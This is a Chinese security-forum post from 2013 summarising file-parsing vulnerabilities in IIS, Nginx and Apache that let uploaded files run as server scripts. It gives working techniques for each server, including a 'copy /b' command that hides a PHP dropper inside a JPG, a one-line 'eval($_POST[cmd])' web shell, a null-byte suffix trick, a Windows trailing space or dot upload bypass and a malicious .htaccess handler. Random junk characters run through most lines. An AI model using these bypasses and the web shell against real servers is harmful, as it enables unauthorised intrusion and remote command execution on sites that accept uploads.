找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2643|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
+ L; ]; a0 x" F& s2 L[+]IIS6.0/ u/ G1 d/ N5 Z( q0 ?

( J& e; \5 Q  ^; l6 x9 v, A6 F% n( w0 ]目录解析:/xx.asp/xx.jpg + F0 D6 J2 c/ c, q& _
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码9 J$ P, R: f5 o6 Z1 [  E
IIS6.0 会将 xx.jpg 解析为 asp 文件。+ M) L% L/ d9 ^1 L0 s$ N
后缀解析:/xx.asp;.jpg     
; y6 J2 E3 Z4 {* f6 @ IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
# ^$ U; \, Z5 _2 \5 w默认解析:/xx.asa2 Z, z0 [% |) x6 Q$ E! `  [/ h
         /xx.cer
) {! _7 \2 z; o         /xx.cdx
; x. q+ C' G9 m4 H, b0 u* [ IIS6.0 默认的可执行文件除了 asp 还包含这三种
$ N6 u5 C0 x$ o) D9 {6 n7 m 此处可联系利用目录解析漏洞
1 A7 V0 F2 Q' Z$ q9 G/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
4 M- I' ]4 i4 |& {[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
9 Y1 k% p- q0 R- o" ~0 ? ' ?/ ]2 [6 y/ H; e
IIS 7.0/IIS 7.5/Nginx <0.8.03
! z. i9 N4 r# O/ ?/ H- ~  y 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面$ Q! k# i+ o" f( [5 @
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。' o+ v% t) b+ h: M+ f1 z
常用利用方法:
6 T+ e# A6 \# V9 w$ D 将一张图和一个写入后门代码的文本文件合并将恶意文本4 T! g* R- Y8 H; U! U: y4 u" {& j3 b2 |
写入图片的二进制代码之后,避免破坏图片文件头和尾. m# Y, Q/ ^5 H1 r# \! V
如:
- {3 n0 g- T$ v# h copy xx.jpg /b + yy.txt/a xy.jpg) W% O6 o  c. [0 ~; e6 T
#########################################################) K' J- }& R, C. ]  ^7 |( S* q
/b 即二进制[binary]模式
6 g7 }8 B4 ^. L, A' Y /a 即ascii模式
. F; ]3 |3 ]) A) Z3 o( M xx.jpg 正常图片文件' S! O; ^  P6 m, j" o- `
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),0 U; v, l5 K; O; v# z: v
'<?php eval($_POST[cmd])?>');?>
/ D: ?' e+ y/ [0 h& k# S 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
; ?* C4 V9 X4 E# ] 为shell.php的文件
/ L; j$ l3 l2 [. ]7 U4 |+ i8 P+ ?) ^& w ###########################################################! W! E: D% e; u  Y
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php . i* W) _! v/ a- a
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
& m( o6 J; K2 T! ~ 密码 cmd
1 c9 Q1 }. ?5 m) ~; _% z[+]Nginx <0.8.031 `7 J! G7 f5 U/ r* g
/ z! G) H9 X8 M% N
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞# K5 q! e0 c0 B2 f% J: n
在一个文件路径(/xx.jpg)后面加上%00.php
2 z, V. h( {! ~" s( d 会将 /xx.jpg%00.php 解析为 php 文件。
# j  G  \1 q) s6 c9 v; W[+]Apache<0.8.03
) R" J: u+ ^5 z' t" Z
( F$ `" n8 s, p. l& u3 o% u 后缀解析:test.php.x1.x2.x3. U# P8 C2 {$ T  G' v8 ^
Apache将从右至左开始判断后缀,若x3非可识别后缀,
, {/ D9 y; [! ]7 t2 `+ O 再判断x2,直到找到可识别后缀为止,然后将该可识别7 M* V, i, o" ^+ x
后缀进解析test.php.x1.x2.x3 则会被解析为php
: _: G9 ?+ J" w4 j% a( {: ?' T2 S 经验之谈:php|php3|phtml 多可被Apache解析。
& ?) K, C9 E% v& P3 s1 i7 O[+]其他一些可利用的- _" I( c% Q9 e# ~2 E0 d

" m+ e9 z8 J: m1 k: J5 I; M在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
$ g9 P* p: e% D/ R, D  P7 j, l若这样命名,windows会默认除去空格或点,这也是可以被利用的!
" I1 S. @0 k# f0 N7 w在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格! s% r3 y! C/ @5 r
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可$ H  G- J  D% E7 q& d/ W, v" ^, k; J  \
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
0 f" A1 p- d; X1 H4 n6 R{Linux主机中不行,Linux允许这类文件存在}
) }* m+ G& A& @+ c# p1 n' K3 U如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
; m" u5 z1 S& ]: S' ^% f6 e的,当初我并不知道),且可以被上传,那可以尝试在
5 a( A5 }2 J6 Q2 E+ z" p7 B.htaccess中写入:! @  l0 u* @  ~) U+ O" b
<FilesMatch “shell.jpg”> ; @8 V. c4 H! U3 }
SetHandler application/x-httpd-php
6 Q# H  u' p5 D</FilesMatch>' t/ K0 H! f6 h5 r
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件  ~  w: n# \8 p) G
[+]错误修改% ~2 a5 @& T* y

' I) n4 O5 \% m  G5 `* X: M在 IIS 6.0 下可解析 /xx.asp:.jpg0 C4 _) c" q5 b/ q$ E  M
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
7 I  m6 D/ ]3 k0 i4 N* G) h+ O剩下/xx.asp}修改:
  m( O( G- Z! Z4 Y2 v# y1 U先谢谢核攻击的提醒
2 v3 y, o8 w* d6 L% i当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
5 I! n! K0 {) G# L4 w里是没有任何内容的,因为。。不好解释 大家自己看
6 |1 U% g) G+ ~# _4 M: _http://lcx.cc/?i=2448
$ d. [& E' b; R0 \2 ~http://baike.baidu.com/view/3619593.htm
, ~2 m7 j( I2 j( s/ c% |6 e  m/ N- C7 U3 W& }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表